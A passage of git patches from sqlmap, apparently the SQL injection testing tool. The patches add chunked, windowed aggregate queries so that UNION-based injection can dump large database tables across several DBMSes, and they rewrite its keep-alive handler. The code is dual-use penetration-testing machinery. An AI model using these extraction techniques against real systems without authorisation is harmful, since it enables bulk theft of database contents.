(conf.db.upper(), tbl.upper())), index) elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index) + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0]) elif Backend.isDbms(DBMS.FRONTBASE): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl) else: From 35fefc3b65a23519a76de873a5a5e5edc87af095 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 20 Jun 2026 02:28:21 +0200 Subject: [PATCH 036/165] Improvements for JSON_AGG retrieval --- data/txt/sha256sums.txt | 8 ++-- lib/core/option.py | 1 + lib/core/settings.py | 5 ++- lib/request/connect.py | 3 ++ lib/techniques/union/use.py | 74 ++++++++++++++++++++++++++++++++++++- 5 files changed, 84 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 8dc1cb622..691b33f21 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -182,14 +182,14 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 31690232f12d0590c8cbea7245ded86875f63c078da99673af4ab7451f0fffcb lib/core/optiondict.py -21b6868afc4570c9d2265427b7ea5fe8ac2e062ead3760ca3494208fde5f5e52 lib/core/option.py +7357efadb3fc8305a1b2a0b1be1915099c5c87bdbe1e95fafcd008043a58039d lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -8411f42e10133c779cff837c6e51698cfebe0796f93ca9e3575a5644d64a3e04 lib/core/settings.py +f75f15165173becddf439996a85f011262178e1bf5d2d2bf8028455b7ff3ff94 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -212,7 +212,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site 369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 390cc4882ba9c76e16a5376ba6d856079e7cb47a3e4ee11925139e637ce05050 lib/request/comparison.py -ec14b5139cd6b03aa167a7b91fab913baf042d4370471390c13eed325eeb245f lib/request/connect.py +b9e2db44d265909792f6cc821ff910727b14aa2d5063c74b0f2ea6d40c4f3d9d lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py @@ -241,7 +241,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py -9d916ad5d61f9ce467a5ff4b416e61b8ad76d1d950fdd06f23f70a6f7f941a1c lib/techniques/union/use.py +3f834b877f0fb684e402d07af1d8a7c7d0cdb4c0a3f9f15fe8488a08d88db4f2 lib/techniques/union/use.py aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py diff --git a/lib/core/option.py b/lib/core/option.py index 53163bc8e..0b817422e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2146,6 +2146,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.hintValue = "" kb.htmlFp = [] kb.huffmanModel = {} + kb.respTruncated = False kb.huffmanValidated = False kb.disableHuffman = False kb.huffmanProbes = 0 diff --git a/lib/core/settings.py b/lib/core/settings.py index d1a9cbae9..3b7f93206 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.130" +VERSION = "1.10.6.131" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -226,6 +226,9 @@ MAX_TECHNIQUES_PER_VALUE = 2 # In case of missing piece of partial union dump, buffered array must be flushed after certain size MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 +# Initial number of rows aggregated per request when a full (single-shot) JSON-agg UNION dump is too large and falls back to chunked windowed aggregation (halved adaptively if a chunk response still gets truncated) +JSON_AGG_CHUNK_ROWS = 1000 + # Maximum size of cache used in @cachedmethod decorator MAX_CACHE_ITEMS = 1024 diff --git a/lib/request/connect.py b/lib/request/connect.py index b66c0530c..daa2a66ee 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -229,6 +229,7 @@ class Connect(object): @staticmethod def _connReadProxy(conn): parts = [] + kb.respTruncated = False if not kb.dnsMode and conn: headers = conn.info() @@ -255,6 +256,7 @@ class Connect(object): singleTimeWarnMessage(warnMsg) part = re.sub(getBytes(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start)), getBytes("%s%s%s" % (kb.chars.stop, LARGE_READ_TRIM_MARKER, kb.chars.start)), part) parts.append(part) + kb.respTruncated = True # response exceeded the read cap and was trimmed (signal for chunked UNION dumping) else: parts.append(part) break @@ -262,6 +264,7 @@ class Connect(object): if sum(len(_) for _ in parts) > MAX_CONNECTION_TOTAL_SIZE: warnMsg = "too large response detected. Automatically trimming it" singleTimeWarnMessage(warnMsg) + kb.respTruncated = True break if conf.yuge: diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 46f068761..418cd34ee 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -50,6 +50,7 @@ from lib.core.enums import HTTP_HEADER from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapSyntaxException +from lib.core.settings import JSON_AGG_CHUNK_ROWS from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH from lib.core.settings import NULL from lib.core.settings import SQL_SCALAR_REGEX @@ -129,7 +130,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = None else: retVal = getUnicode(retVal) - elif Backend.isDbms(DBMS.PGSQL): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD): output = extractRegexResult(r"(?P%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) if output: retVal = output @@ -150,6 +151,14 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): if retVal: break + + # Detect a single-shot aggregate that was too large to return whole, so the caller can + # switch to chunked (windowed) aggregation: either the response carries the leading + # marker but no trailing one (cut mid-aggregate by sqlmap's cap and/or a silent DBMS + # truncation, regardless of compression), or the DBMS refused it outright with a packet + # size error (e.g. MySQL "Result of json_arrayagg() was larger than max_allowed_packet"). + if retVal is None and page and ((kb.chars.start in page and kb.chars.stop not in page) or "max_allowed_packet" in page): + kb.respTruncated = True else: # Parse the returned page to get the exact UNION-based # SQL injection output @@ -237,6 +246,55 @@ def configUnion(char=None, columns=None): _configUnionChar(char) _configUnionCols(conf.uCols or columns) +def _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, count): + """ + Fallback for when a full (single-shot) JSON-agg UNION table dump is too large to be returned + whole (DBMS packet limit / sqlmap response cap). Instead of dropping to the slow per-row UNION + path, rows are aggregated in bounded windows of K rows per request (JSON_ARRAYAGG over a + LIMIT-windowed subquery), keeping near full-UNION throughput while staying well under the + caps. K is halved adaptively if a chunk response still gets truncated. Returns a BigArray of + rows, or None to let the caller fall back to the regular per-row UNION path. + + NOTE: MySQL only for now (windowed 'LIMIT offset,K' + JSON_ARRAYAGG); other DBMSes return None. + """ + if not Backend.isDbms(DBMS.MYSQL) or not expressionFields or not expressionFieldsList: + return None + + # a stable total ordering (all output columns) so the LIMIT/OFFSET windows never overlap or drop rows + base = re.sub(r"(?i)\s+ORDER BY\s+.+\Z", "", expression) + orderBy = "ORDER BY %s" % ','.join(str(_ + 1) for _ in range(len(expressionFieldsList))) + aggFields = "CONCAT_WS('%s',%s)" % (kb.chars.delimiter, ','.join(agent.nullAndCastField(_) for _ in expressionFieldsList)) + + debugMsg = "single-shot UNION dump output was too large; switching to " + debugMsg += "chunked (windowed) JSON aggregation of %d entries" % count + singleTimeDebugMessage(debugMsg) + + retVal = BigArray() + chunk = JSON_AGG_CHUNK_ROWS + offset = 0 + + while offset < count: + inner = "%s %s LIMIT %d,%d" % (base, orderBy, offset, chunk) + query = "SELECT CONCAT('%s',JSON_ARRAYAGG(%s),'%s') FROM (%s) AS sqmapx" % (kb.chars.start, aggFields, kb.chars.stop, inner) + + kb.jsonAggMode = True + output = _oneShotUnionUse(query, False) + kb.jsonAggMode = False + + if kb.respTruncated and chunk > 1: + chunk = max(1, chunk // 2) # a single chunk is still too big -> shrink and retry same window + continue + + rows = parseUnionPage(output) + + if rows is None: + return None # unexpected failure -> let the caller fall back to the per-row path + + retVal.extend(arrayizeValue(rows)) + offset += chunk + + return retVal + def unionUse(expression, unpack=True, dump=False): """ This function tests for an UNION SQL injection on the target @@ -268,7 +326,7 @@ def unionUse(expression, unpack=True, dump=False): debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)): match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression): kb.jsonAggMode = True @@ -282,6 +340,10 @@ def unionUse(expression, unpack=True, dump=False): query = expression.replace(expressionFields, "STRING_AGG('%s'||%s||'%s','')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) elif Backend.isDbms(DBMS.MSSQL): query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop) + elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.HSQLDB): + query = expression.replace(expressionFields, "GROUP_CONCAT('%s'||%s||'%s' SEPARATOR '')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.FIREBIRD): + query = expression.replace(expressionFields, "LIST('%s'||%s||'%s','')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1) output = _oneShotUnionUse(query, False) value = parseUnionPage(output) kb.jsonAggMode = False @@ -336,6 +398,14 @@ def unionUse(expression, unpack=True, dump=False): return value if isNumPosStrValue(count) and int(count) > 1: + # The single-shot full UNION dump failed and the table is large (or its oversized + # response was detected as truncated): retrieve the rows in bounded windows via + # chunked JSON aggregation (K rows/request) instead of the slow per-row path below. + if Backend.isDbms(DBMS.MYSQL) and not any((kb.forcePartialUnion, conf.forcePartial, conf.disableJson, conf.binaryFields, conf.limitStart, conf.limitStop)) and (int(count) >= JSON_AGG_CHUNK_ROWS or kb.respTruncated): + chunked = _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, int(count)) + if chunked is not None: + return chunked + threadData = getCurrentThreadData() try: From e1aac02ef2ca017e2dc5f4be8883db59d039295a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 20 Jun 2026 02:56:24 +0200 Subject: [PATCH 037/165] More improvements for JSON_AGG retrieval --- data/txt/sha256sums.txt | 4 +-- lib/core/settings.py | 2 +- lib/techniques/union/use.py | 51 +++++++++++++++++++++++++++---------- 3 files changed, 41 insertions(+), 16 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 691b33f21..b72a8e908 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -f75f15165173becddf439996a85f011262178e1bf5d2d2bf8028455b7ff3ff94 lib/core/settings.py +f79f96c5f073b663cc494c57b9641dc41e7ed13a28d5cec62bb9ca8904110d9c lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -241,7 +241,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py -3f834b877f0fb684e402d07af1d8a7c7d0cdb4c0a3f9f15fe8488a08d88db4f2 lib/techniques/union/use.py +c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc lib/techniques/union/use.py aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 3b7f93206..451a0bc62 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.131" +VERSION = "1.10.6.132" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 418cd34ee..dc8517096 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -255,15 +255,37 @@ def _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, count caps. K is halved adaptively if a chunk response still gets truncated. Returns a BigArray of rows, or None to let the caller fall back to the regular per-row UNION path. - NOTE: MySQL only for now (windowed 'LIMIT offset,K' + JSON_ARRAYAGG); other DBMSes return None. + Same DBMS coverage as the single-shot JSON-agg (per-DBMS aggregate + windowing); others -> None. """ - if not Backend.isDbms(DBMS.MYSQL) or not expressionFields or not expressionFieldsList: + dbms = Backend.getIdentifiedDbms() + + if dbms not in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) or not expressionFields or not expressionFieldsList: return None + start, stop, delimiter = kb.chars.start, kb.chars.stop, kb.chars.delimiter + # a stable total ordering (all output columns) so the LIMIT/OFFSET windows never overlap or drop rows base = re.sub(r"(?i)\s+ORDER BY\s+.+\Z", "", expression) orderBy = "ORDER BY %s" % ','.join(str(_ + 1) for _ in range(len(expressionFieldsList))) - aggFields = "CONCAT_WS('%s',%s)" % (kb.chars.delimiter, ','.join(agent.nullAndCastField(_) for _ in expressionFieldsList)) + nulled = [agent.nullAndCastField(_) for _ in expressionFieldsList] + + # per-DBMS: aggregate-over-windowed-columns expression (mirrors the single-shot branches) plus + # the "K rows at offset" window clause appended to the inner derived table + if dbms == DBMS.MYSQL: + aggExpr = "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (start, delimiter, ','.join(nulled), stop) + window = lambda o, k: "%s LIMIT %d,%d" % (orderBy, o, k) + elif dbms == DBMS.PGSQL: + aggExpr = "STRING_AGG('%s'||%s||'%s','')" % (start, ("||'%s'||" % delimiter).join("COALESCE(%s::text,' ')" % _ for _ in expressionFieldsList), stop) + window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o) + elif dbms == DBMS.SQLITE: + aggExpr = "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (start, ("||'%s'||" % delimiter).join("COALESCE(%s,' ')" % _ for _ in expressionFieldsList), stop) + window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o) + elif dbms in (DBMS.H2, DBMS.HSQLDB): + aggExpr = "GROUP_CONCAT('%s'||%s||'%s' SEPARATOR '')" % (start, ("||'%s'||" % delimiter).join(nulled), stop) + window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o) + elif dbms == DBMS.FIREBIRD: + aggExpr = "LIST('%s'||%s||'%s','')" % (start, ("||'%s'||" % delimiter).join(nulled), stop) + window = lambda o, k: "%s ROWS %d TO %d" % (orderBy, o + 1, o + k) debugMsg = "single-shot UNION dump output was too large; switching to " debugMsg += "chunked (windowed) JSON aggregation of %d entries" % count @@ -274,8 +296,7 @@ def _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, count offset = 0 while offset < count: - inner = "%s %s LIMIT %d,%d" % (base, orderBy, offset, chunk) - query = "SELECT CONCAT('%s',JSON_ARRAYAGG(%s),'%s') FROM (%s) AS sqmapx" % (kb.chars.start, aggFields, kb.chars.stop, inner) + query = "SELECT %s FROM (%s %s) sqmapx" % (aggExpr, base, window(offset, chunk)) kb.jsonAggMode = True output = _oneShotUnionUse(query, False) @@ -348,6 +369,18 @@ def unionUse(expression, unpack=True, dump=False): value = parseUnionPage(output) kb.jsonAggMode = False + # If the single-shot aggregate failed (typically too large for the DBMS packet limit / + # response cap) and the table is large, retrieve the rows in bounded windows (chunked + # JSON aggregation) before the slow per-row fallback. Done here (independent of the + # detected UNION where-clause) so it engages for any dumpable FROM-table query. + if value is None and " FROM " in expression.upper() and not re.search(SQL_SCALAR_REGEX, expression, re.I) and not any((kb.forcePartialUnion, conf.forcePartial, conf.disableJson, conf.binaryFields, conf.limitStart, conf.limitStop)): + chunkCountExpr = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) + if " ORDER BY " in chunkCountExpr.upper(): + chunkCountExpr = chunkCountExpr[:chunkCountExpr.upper().rindex(" ORDER BY ")] + chunkCount = unArrayizeValue(parseUnionPage(_oneShotUnionUse(chunkCountExpr, unpack))) + if isNumPosStrValue(chunkCount) and (int(chunkCount) >= JSON_AGG_CHUNK_ROWS or kb.respTruncated): + value = _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, int(chunkCount)) + # We have to check if the SQL query might return multiple entries # if the technique is partial UNION query and in such case forge the # SQL limiting the query output one entry at a time @@ -398,14 +431,6 @@ def unionUse(expression, unpack=True, dump=False): return value if isNumPosStrValue(count) and int(count) > 1: - # The single-shot full UNION dump failed and the table is large (or its oversized - # response was detected as truncated): retrieve the rows in bounded windows via - # chunked JSON aggregation (K rows/request) instead of the slow per-row path below. - if Backend.isDbms(DBMS.MYSQL) and not any((kb.forcePartialUnion, conf.forcePartial, conf.disableJson, conf.binaryFields, conf.limitStart, conf.limitStop)) and (int(count) >= JSON_AGG_CHUNK_ROWS or kb.respTruncated): - chunked = _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, int(count)) - if chunked is not None: - return chunked - threadData = getCurrentThreadData() try: From 6d306ba50daba68646254eedb8ea5c3224ee1995 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 00:39:33 +0200 Subject: [PATCH 038/165] Rewritten the improved keep-alive handler --- data/txt/sha256sums.txt | 11 +- doc/ARCHITECTURE.md | 4 +- doc/THIRD-PARTY.md | 2 - lib/core/option.py | 11 +- lib/core/settings.py | 8 +- lib/request/keepalive.py | 266 ++++++++++++ thirdparty/keepalive/__init__.py | 19 - thirdparty/keepalive/keepalive.py | 671 ------------------------------ 8 files changed, 289 insertions(+), 703 deletions(-) create mode 100644 lib/request/keepalive.py delete mode 100644 thirdparty/keepalive/__init__.py delete mode 100644 thirdparty/keepalive/keepalive.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b72a8e908..078df0a9a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -85,11 +85,11 @@ a65b6e29389b1543f54da6aced3ca4abdcd68cb626ceefc61fb9985bda692251 data/xml/paylo 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml ff368554d3320ffa50751e32c903aeec21221f351f3efa573a211081947f69e8 data/xml/queries.xml -e043101194219a2e4c8bc352f0d3a04b87e1c28b1bcd6c13f6d5d1c9e260b653 doc/ARCHITECTURE.md +127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef doc/THANKS.md -59697fb4f118a3197f5b3dc9057351797767c8bcc748e0286e3f7ad74ec3afb6 doc/THIRD-PARTY.md +b6fcc489c6eaca2a7d0d031bd04fe28e6790ffe4dfd4bdf055b6dc83b992dc86 doc/THIRD-PARTY.md 2af9b7a8c5f24de68f9b8b1bcf3a7f2b0e55fdb48b6545e1fc8b13f406ac97c2 doc/translations/README-ar-AR.md c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md @@ -182,14 +182,14 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 31690232f12d0590c8cbea7245ded86875f63c078da99673af4ab7451f0fffcb lib/core/optiondict.py -7357efadb3fc8305a1b2a0b1be1915099c5c87bdbe1e95fafcd008043a58039d lib/core/option.py +598f48639bcc7bb665a2adc538e5349999de620ea9ed5a821f89a823dc5fa093 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -f79f96c5f073b663cc494c57b9641dc41e7ed13a28d5cec62bb9ca8904110d9c lib/core/settings.py +ab38bb42e8e2a7eda7380574f5083e0a65daa154fb345ef3385dbb2c128ed9df lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -218,6 +218,7 @@ cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dn 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py +ab3afa064a84029ef55804bfcc02e49c7f8f47aad51448b5b3adfda1dd59073e lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py @@ -675,8 +676,6 @@ e5c0b59577c30bb44c781d2f129580eaa003e46dcc4f307f08bc7f15e1555a2e thirdparty/ide edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/identywaf/__init__.py d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py -879d96f2460bc6c79c0db46b5813080841c7403399292ce76fe1dc0a6ed353d8 thirdparty/keepalive/__init__.py -ae394bfae5204dfeffeccc15c356d9bf21708f9e48016681cfb8040ff8857998 thirdparty/keepalive/keepalive.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py 4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py diff --git a/doc/ARCHITECTURE.md b/doc/ARCHITECTURE.md index 3e39e4421..175348825 100644 --- a/doc/ARCHITECTURE.md +++ b/doc/ARCHITECTURE.md @@ -68,7 +68,7 @@ Identifiers in the codebase are camelCase. | `data/xml/` | the data-driven engine: `boundaries.xml`, `payloads/*.xml`, `queries.xml`, `errors.xml` | | `data/` (other) | wordlists/common tables/columns (`txt/`), UDFs (`udf/`), stored procs (`procs/`), shells (`shell/`) | | `tests/` | stdlib-unittest suite 